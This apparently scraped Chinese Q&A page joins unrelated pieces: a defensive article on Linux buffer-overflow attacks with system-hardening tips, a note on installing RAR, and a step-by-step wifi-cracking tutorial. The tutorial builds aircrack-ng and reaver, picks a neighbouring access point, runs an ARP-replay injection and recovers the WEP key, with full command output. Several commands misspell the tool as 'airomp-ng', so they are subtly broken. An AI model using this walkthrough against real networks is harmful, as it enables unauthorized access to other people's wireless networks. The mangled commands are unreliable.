Ⅰ 如何防范linux操作系统下缓冲区溢出攻击 黑客武林
虽然Linux病毒屈指可数,但是基于缓冲区溢出(BufferOverflow)漏洞的攻击还是让众多Linux用户大吃一惊。所谓“世界上第一个Linux病毒”??reman,严格地说并不是真正的病毒,它实质上是一个古老的、在Linux/Unix(也包括Windows等系统)世界中早已存在的“缓冲区溢出”攻击程序。reman只是一个非常普通的、自动化了的缓冲区溢出程序,但即便如此,也已经在Linux界引起很大的恐慌。
缓冲区溢出漏洞是一个困扰了安全专家30多年的难题。简单来说,它是由于编程机制而导致的、在软件中出现的内存错误。这样的内存错误使得黑客可以运行一段恶意代码来破坏系统正常地运行,甚至获得整个系统的控制权。
Linux系统特性
利用缓冲区溢出改写相关内存的内容及函数的返回地址,从而改变代码的执行流程,仅能在一定权限范围内有效。因为进程的运行与当前用户的登录权限和身份有关,仅仅能够制造缓冲区溢出是无法突破系统对当前用户的权限设置的。因此尽管可以利用缓冲区溢出使某一程序去执行其它被指定的代码,但被执行的代码只具有特定的权限,还是无法完成超越权限的任务。
但是,Linux(包括Unix)系统本身的一些特性却可以被利用来冲破这种权限的局限性,使得能够利用缓冲区溢出获得更高的、甚至是完全的权限。主要体现在如下两方面:
1.Linux(包括Unix)系统通过设置某可执行文件的属性为SUID或SGID,允许其它用户以该可执行文件拥有者的用户ID或用户组ID来执行它。如果该可执行文件的属性是root,同时文件属性被设置为SUID,则该可执行文件就存在可利用的缓冲区溢出漏洞,可以利用它以root的身份执行特定的、被另外安排的代码。既然能够使得一个具有root权限的代码得以执行,就能够产生一个具有超级用户root权限的Shell,那么掌握整个系统的控制权的危险就产生了。
2.Linux(包括Unix)中的许多守护进程都是以root权限运行。如果这些程序存在可利用的缓冲区溢出,即可直接使它以root身份去执行另外安排的代码,而无须修改该程序的SUID或SGID属性。这样获得系统的控制权将更加容易。
随着现代网络技术的发展和网络应用的深入,计算机网络所提供的远程登录机制、远程调用及执行机制是必须的。这使得一个匿名的Internet用户有机会利用缓冲区溢出漏洞来获得某个系统的部分或全部控制权。实际上,以缓冲区溢出漏洞为攻击手段的攻击占了远程网络攻击中的绝大多数,这给Linux系统带来了极其严重的安全威胁。
途径分析
通常情况下攻击者会先攻击root程序,然后利用缓冲区溢出时发生的内存错误来执行类似“exec(sh)”的代码,从而获得root的一个Shell。为了获得root权限的Shell,攻击者需要完成如下的工作:
1.在程序的地址空间内安排适当的特定代码。一般使用如下两种方法在被攻击的程序地址空间内安排攻击代码。
2.通过适当地初始化寄存器和存储器,使程序在发生缓冲区溢出时不能回到原来的执行处,而是跳转到被安排的地址空间执行。
当攻击者找到一种途径可以变原程序的执行代码和流程时,攻击的危险就产生了。
共2页: 1 [2]
内容导航
第 1 页:Linux系统特性
防范措施
Linux下的缓冲区溢出攻击威胁既来自于软件的编写机制,也来自于Linux(和Unix)系统本身的特性。实际上,缓冲区溢出攻击及各种计算机病毒猖獗的根本原因在于现代计算机系统都是采用冯?诺依曼“存储程序”的工作原理。这一基本原理使得程序和数据都可以在内存中被繁殖、拷贝和执行。因此,要想有效地防范缓冲区溢出攻击就应该从这两个方面双管其下。
确保代码正确安全
缓冲区溢出攻击的根源在于编写程序的机制。因此,防范缓冲区溢出漏洞首先应该确保在Linux系统上运行的程序(包括系统软件和应用软件)代码的正确性,避免程序中有不检查变量、缓冲区大小及边界等情况存在。比如,使用grep工具搜索源代码中容易产生漏洞的库调用,检测变量的大小、数组的边界、对指针变量进行保护,以及使用具有边界、大小检测功能的C编译器等。
基于一定的安全策略设置系统
攻击者攻击某一个Linux系统,必须事先通过某些途径对要攻击的系统做必要的了解,如版本信息等,然后再利用系统的某些设置直接或间接地获取控制权。因此,防范缓冲区溢出攻击的第二个方面就是对系统设置实施有效的安全策略。这些策略种类很多,由于篇幅有限只列举几个典型措施:
(1)在装有Telnet服务的情况下,通过手工改写“/etc/inetd.conf”文件中的Telnet设置,使得远程登录的用户无法看到系统的提示信息。具体方法是将Telnet设置改写为:
telnet stream tcp nowait root /usr/sbin/tcpd/in.telnetd -h
末尾加上“-h”参数可以让守护进程不显示任何系统信息,只显示登录提示。
(2)改写“rc.local”文件。默认情况下,当登录Linux系统时系统运行rc.local文件,显示该Linux发行版本的名字、版本号、内核版本和服务器名称等信息,这使得大量系统信息被泄露。将“rc.local”文件中显示这些信息的代码注释掉,可以使系统不显示这些信息。
一种方法是在显示这-些信息的代码行前加“#”:
……# echo “”>/etc/issue# echo “$R”>>/etc/issue#echo”Kernel $ (uname -r)on $a $(uname -m)”>>/etc/issue##echo>>/etc/issue……
另一种方法是将保存有系统信息的文件/etc/issue.net和issue删除。这两个文件分别用于在远程登录和本地登录时向用户提供相关信息。删除这两个文件的同时,仍需要完成方法一中的注释工作,否则,系统在启动时将会自动重新生成这两个文件。
(3)禁止提供finger服务。在Linux系统中,使用finger命令可以显示本地或远程系统中目前已登录用户的详细信息。禁止提供finger服务的有效方法是,通过修改该文件属性、权限(改为600)使得只有root用户才可以执行该命令。
(4)处理“inetd.conf”文件。Linux系统通过inetd(超级服务器)程序根据网络请求装入网络程序。该程序通过“/etc/inetd.conf”文件获得inetd在监听哪些网络端口,为每个端口启动哪些特定服务等信息。因此,该文件同样会泄露大量的敏感信息。解决问题的方法是,通过将其权限改为600只允许root用户访问,并通过改写“/etc/inetd.conf”文件将不需要的服务程序禁止掉,最后修改该文件的属性使其不能被修改。
总结
缓冲区溢出攻击之所以能成为一种常见的攻击手段,其原因在于缓冲区溢出漏洞太普遍,且易于实现攻击,因此缓冲区溢出问题一直是个难题。
所幸的是,OpenBSD开发组为解决这一安全难题采用了三种新的有效策略。相信不久的将来,Linux用户可以不再为缓冲区溢出攻击而寝食难安了。
RAR文件在Linux下用起来
要在Linux下处理.rar文件,需要安装RARforLinux。该软件可以从网上下载,但要记住,它不是免费的。大家可从http://www.onlinedown.net/sort/125_1.htm下载RARforLinux 3.2.0,然后用下面的命令安装:
# tar -xzpvf rarlinux-3.2.0.tar.gz
# cd rar
# make
安装后就有了rar和unrar这两个程序,rar是压缩程序,unrar是解压程序。它们的参数选项很多,这里只做简单介绍,依旧举例说明一下其用法:
# rar a all *.mp3
这条命令是将所有.mp3的文件压缩成一个rar包,名为all.rar,该程序会将.rar 扩展名将自动附加到包名后。
# unrar e all.rar
这条命令是将all.rar中的所有文件解压出来。
Ⅱ linux可以破解wife密码吗
一. 软硬件环境
硬件: cubieboard2
系统: debian (理论上基于debian的操作系统都可以, 如ubuntu, lubuntu, 等等)
无线网卡: RT3070_usb (其它无线网卡是否支持抓包以及驱动的安装方法请自行谷歌)
由于以下所有工具的编译都是直接在cubieboard里进行的, 所以要在cubieboard里构建编译环境:
# apt-get install gcc make
rt3070驱动安装:
# apt-get install firmware-ralink
二. 安装aircrack-ng
1. 下载aircrack-ng源码
# wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
# tar -zxvf aircrack-ng-1.1.tar.gz
2. 安装必要的库文件
# apt-get install libssl-dev
否则编译时会报错:
In file included from aircrack-ng.c:65:0:
crypto.h:12:26: fatal error: openssl/hmac.h: No such file or directory
compilation terminated.
make[1]: *** [aircrack-ng.o] Error 1
make[1]: Leaving directory `/home/code/wifi/aircrack-ng-1.1/src'
make: *** [all] Error 2
3. 修改编译配置文件
# vi common.mak
搜索Werror这行, 将:
CFLAGS ?= -g -W -Wall -Werror -O3
改成:
CFLAGS ?= -g -W -Wall -O3
否则编译时报错:
Linux.c: In function ‘is_ndiswrapper’:
linux.c:165:17: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
linux.c: In function ‘linux_set_rate’:
linux.c:334:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
linux.c: In function ‘linux_set_channel’:
linux.c:807:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
linux.c: In function ‘linux_set_freq’:
linux.c:896:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
linux.c: In function ‘set_monitor’:
linux.c:1022:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
linux.c: In function ‘do_linux_open’:
linux.c:1366:12: error: variable ‘unused_str’ set but not used [-Werror=unused-but-set-variable]
linux.c:1352:15: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
linux.c: In function ‘get_battery_state’:
linux.c:1982:35: error: variable ‘current’ set but not used [-Werror=unused-but-set-variable]
cc1: all warnings being treated as errors
make[3]: *** [linux.o] Error 1
4. 编译,安装
# make
# make install
三. 安装reaver(穷举PIN码方式破解工具)
1. 下载reaver源码
http://code.google.com/p/reaver-wps/downloads/list
2. 安装必要的库文件
# apt-get install libpcap-dev libsqlite3-dev
否则configure的时候报错:
checking for pcap_open_live in -lpcap... no
error: pcap library not found!
3. 编译,安装
# cd src
# ./configure
# make
# make install
四. 安装minidwep-gtk(图形界面工具, 可选)
deb包, 直接下载安装即可, 本文只专注于纯命令行破解, 图形工具安装步骤略
五. 破解步骤
1. 安装wireless-tools
# apt-get install wireless-tools iw
否则在使用airmon-ng命令时会报错:
Wireless tools not found
或者
ERROR: Neither the sysfs interface links nor the iw command is available.
2. 查看自己的无线网卡的名称,一般是wlan0或者wifi0
# ifconfig -a
3. 开启无线网卡监控功能
# airmon-ng start wlan0
注:wlan0为你的无线设备名称
这一步可能会看到提示有XXXX XXXX进程影响,没关系,kill XXX XXX, XXX为给出的进程号,然后重新执行上句, 直到不报错
4. 选择要破解的wifi, 获取其SSID, MAC, CHANNEL
4.1 用airomp-ng扫描
# airomp-ng mon0
会列出所有扫描到的AP列表, 如:
CH 13 ][ Elapsed: 1 min ][ 2014-05-03 23:32
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:1D:0F:6A:0A:F6 -1 0 0 0 108 -1
00:23:CD:26:4A:B8 -59 19 20 0 6 54 . WEP WEP MERCURY
08:18:1A:89:D8:8C -63 19 0 0 1 54e WPA CCMP PSK ChinaNet-HbDm
EC:17:2F:B9:18:32 -77 11 0 0 6 54e. WPA2 CCMP PSK
08:10:76:6D:9B:74 -78 13 0 0 6 54e WPA2 CCMP PSK ZBH
F0:7D:68:55:AF:F4 -77 11 1 0 6 54e WPA2 CCMP PSK TL
AC:6E:1A:73:D7:85 -80 10 0 0 11 54e WPA2 CCMP PSK ChinaNet-43Bs
62:6E:1A:73:D7:86 -79 13 0 0 11 54e WPA2 CCMP PSK iTV-43Bs
A8:15:4D:13:0F:28 -78 19 1 0 11 54 . WPA2 CCMP PSK 2-703_TPLINK
38:83:45:7C:FE:00 -80 5 0 0 6 54e. WPA2 CCMP PSK xiaoer
20:DC:E6:F1:F1:82 -81 11 0 0 6 54e. WPA2 CCMP PSK XMing
6C:E8:73:5B:A3:2A -81 16 0 0 1 54e. WPA2 CCMP PSK HUANG
C8:3A:35:32:BA:88 -81 8 0 0 8 54e WPA CCMP PSK LYX
14:E6:E4:43:66:CA -81 2 0 0 4 54e. WPA2 CCMP PSK TP-LINK_4366CA
D8:15:0D:4D:18:18 -82 7 0 0 3 54e WPA2 CCMP PSK TP-LINK_805
8C:BE:BE:23:A5:AC -82 7 0 0 3 54e WPA2 CCMP PSK Xiaomi_las
9C:D2:4B:44:8B:68 -83 5 0 0 8 54e WPA CCMP PSK ChinaNet-bwwg
08:10:74:AB:61:7E -82 6 0 0 6 54 WPA TKIP PSK Netcore
00:1E:2A:67:EF:B0 -84 13 0 0 11 54 . WPA2 CCMP PSK SecondBegining
28:2C:B2:2C:A8:5C -84 20 0 0 11 54e. WPA2 CCMP PSK TP407
04:8D:38:00:A8:CB -21 47 181 0 7 54e WPA2 CCMP PSK
BSSID STATION PWR Rate Lost Packets Probes
00:1D:0F:6A:0A:F6 E0:B9:A5:05:D2:3D -76 0 - 1 19 6
00:23:CD:26:4A:B8 5C:51:4F:CA:4F:09 -1 48 - 0 0 16
00:23:CD:26:4A:B8 D0:22:BE:EE:E8:A4 -80 0 - 2 20 8
04:8D:38:00:A8:CB 00:1D:E0:4B:DF:F1 -78 0e-12e 0 179
选取一个信号好的, 连接的客户端活跃的就可以.
如果想破解WEP, 我们选取的AP信息:
SSID : MERCURY
MAC : 00:23:CD:26:4A:B8
CHANNEL : 6
ENC : WEP
如果想破解WPA/WPA2, 我们选取的AP信息:
SSID :
MAC : 04:8D:38:00:A8:CB
CHANNEL : 7
ENC : WPA2
4.2 这一步用wireless-tools或者windows下的工具WirelessMon也可以
5. 破解WEP
5.1 抓取足够的通信数据包
# airomp-ng --ivs -w packet -c 6 wlan0
或者
# airomp-ng --ivs -w packet -c 6 --bssid 00:23:CD:26:4A:B8 wlan0 //可以加--bssid参数限定只抓特定AP的数据包
参数解释:
--ivs 这里的设置是通过设置过滤,不再将所有无线数据保存,而只是保存可用于破解的IVS数据报文,这样可以有效地缩减保存的数据包大小;
-c 这里我们设置目标AP的工作频道,通过刚才的观察,我们要进行攻击的无线路由器channel为6;
-w 后跟要保存的文件名,所以输入自己希望保持的文件名, 这里会生成packet-xx.ivs文件, xx是序号。后文中破解时使用ivs包可用通配符代替, 如packet-*.ivs
抓包界面如下:
CH 6 ][ Elapsed: 12 mins ][ 2014-05-04 00:23
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
04:8D:38:00:A8:CB -24 0 3 3 0 7 54e WPA2 CCMP PSK [email protected]
00:23:CD:26:4A:B8 -59 46 582 729 0 6 54 . WEP WEP MERCURY
EC:17:2F:B9:18:32 -75 65 458 139 1 6 54e. WPA2 CCMP PSK TARO
F0:7D:68:55:AF:F4 -78 43 461 24 0 6 54e WPA2 CCMP PSK TL
20:DC:E6:F1:F1:82 -80 33 367 0 0 6 54e. WPA2 CCMP PSK XMing
8C:21:0A:18:17:46 -78 74 513 3 0 6 54e. WPA2 CCMP PSK VincentKasim
38:83:45:7C:FE:00 -79 36 399 0 0 6 54e. WPA2 CCMP PSK xiaoer
08:10:74:AB:61:7E -82 1 261 0 0 6 54 WPA TKIP PSK Netcore
08:10:76:6D:9B:74 -82 27 277 0 0 6 54e WPA2 CCMP PSK ZBH
00:25:86:66:42:6E -83 4 19 0 0 6 54 . WEP WEP FAST_66426E
00:87:15:25:85:2C -83 90 508 18 0 6 54e WPA2 CCMP PSK RT8888
14:E6:E4:56:E2:B6 -83 0 29 0 0 6 54e. WEP WEP pig
40:16:9F:76:82:A2 -84 0 1 0 0 6 22e. WPA2 CCMP PSK WH
38:83:45:CA:42:26 -84 0 1 0 0 6 54e. WPA2 CCMP PSK tp-link n1
BSSID STATION PWR Rate Lost Packets Probes
04:8D:38:00:A8:CB 88:E3:AB:A9:23:96 -80 0 - 1e 0 152
00:23:CD:26:4A:B8 D0:22:BE:EE:E8:A4 -76 54 - 1 0 82
00:23:CD:26:4A:B8 5C:51:4F:CA:4F:09 -82 54 - 1 0 763
5.2 对目标AP使用ArpRequest注入攻击
若连接着该无线路由器/AP的无线客户端正在进行大流量的交互,比如使用迅雷、电骡进行大文件下载等,则可以依靠单纯的抓包就可以破解出WEP密码。
但是无线黑客们觉得这样的等待有时候过于漫长,于是就采用了一种称之为“ARP Request”的方式来读取ARP请求报文,并伪造报文再次重发出去,以便刺激AP产生更多的数据包,从而加快破解过程,
这种方法就称之为ArpRequest注入攻击。输入命令(新开一个终端)如下:
# aireplay-ng -3 -b [AP's MAC] -h [Client's MAC] mon0
参数解释:
-3 指采用ARPRequesr注入攻击模式;
-b 后跟AP的MAC地址,这里就是前面我们探测到的SSID为TPLINK的AP的MAC;
-h 后跟客户端的MAC地址,也就是我们前面探测到的有效无线客户端的MAC;
例如
# aireplay-ng -3 -b 00:23:CD:26:4A:B8 -h D0:22:BE:EE:E8:A4 mon0
回车后将会看到如下所示的读取无线数据报文,从中获取ARP报文的情况出现。
The interface MAC (48:02:2A:42:52:F9) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether D0:22:BE:EE:E8:A4
23:55:00 Waiting for beacon frame (BSSID: 00:23:CD:26:4A:B8) on channel 6
Saving ARP requests in replay_arp-0503-235500.cap
You should also start airomp-ng to capture replies.
Read 3943 packets (got 0 ARP requests and 13 ACKs), sent 0 packets...(0 pps)
在等待片刻之后,一旦成功截获到ARP请求报文,我们将会看到如下图13所示的大量ARP报文快速交互的情况出现。
The interface MAC (48:02:2A:42:52:F9) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether D0:22:BE:EE:E8:A4
23:55:00 Waiting for beacon frame (BSSID: 00:23:CD:26:4A:B8) on channel 6
Saving ARP requests in replay_arp-0503-235500.cap
You should also start airomp-ng to capture replies.
Read 13943 packets (got 1 ARP requests and 131 ACKs), sent 12 packets...(566 pps)
Read 14045 packets (got 40 ARP requests and 231 ACKs), sent 123 packets...(566 pps)
Read 14132 packets (got 132 ARP requests and 452 ACKs), sent 234 packets...(566 pps)
Read 14212 packets (got 156 ARP requests and 645 ACKs), sent 567 packets...(566 pps)
Read 14223 packets (got 196 ARP requests and 1090 ACKs), sent 845 packets...(566 pps)
此时回到airomp-ng的界面查看,作为MERCURY的packets栏的数字在飞速递增, 一般该值达到1万5千以上, 就可以进行下一步的破解, 很复杂的密码需要8万以上的IVS。
5.3 使用aircrack-ng破解WEP
在抓取的无线数据报文达到了一定数量后,一般都是指IVs值达到1万以上时,就可以开始破解,若不能成功就等待数据报文的继续抓取然后多试几次。
注意,此处不需要将进行注入攻击的终端关闭,而是另外开一个终端进行同步破解。输入命令如下:
# aircrack-ng 捕获的ivs文件
例如:
# aircrack-ng packet-*.ivs
关于ivs的值数量,我们可以从如下所示的界面中看到,当前已经接受到的IVs已经达到了1万5千以上,aircrack-ng已经尝试了16万个组合。
Aircrack-ng 1.1
[00:01:01] Tested 163814 keys (got 15081 IVs)
KB depth byte(vote)
0 55/ 61 AA(13248) 39(13212) BC(13212) CE(13212) 79(13208) EB(13200) 04(13128) 61(13124) 57(13088) 4F(13060) C9(13048) 75(13024) 8F(12984) A4(12984)
1 12/ 14 49(14740) 88(14628) 86(14564) D8(14520) 7C(14272) 5B(14192) 22(14160) 10(14120) 05(14040) 0E(14012) A8(13976) 87(13932) E2(13828) 5D(13796)
2 38/ 2 09(13724) ED(13608) 40(13600) 24(13572) 7E(13572) C0(13572) 50(13560) 06(13492) 97(13432) C6(13432) 23(13392) 0B(13388) B2(13316) AB(13312)
3 2/ 3 9E(16764) A8(15876) 7A(15808) 12(15800) 4B(15740) 28(15440) 53(15368) 16(15036) 69(14936) 5E(14920) 91(14892) 74(14780) 45(14772) 99(14604)
4 16/ 4 7B(14488) 4A(14384) F1(14308) 86(14228) A1(14228) 5C(14128) 17(14120) 6C(14120) 7F(14088) 02(14084) 31(14052) BF(14016) C1(14008) 0C(14004)
KEY FOUND! [ 31:32:33:34:35 ] (ASCII: 12345 )
Decrypted corretly: 100%
注意: 高强度复杂密码破解成功依赖于更多的IVs, 如13位复杂密码需要8万多IVs.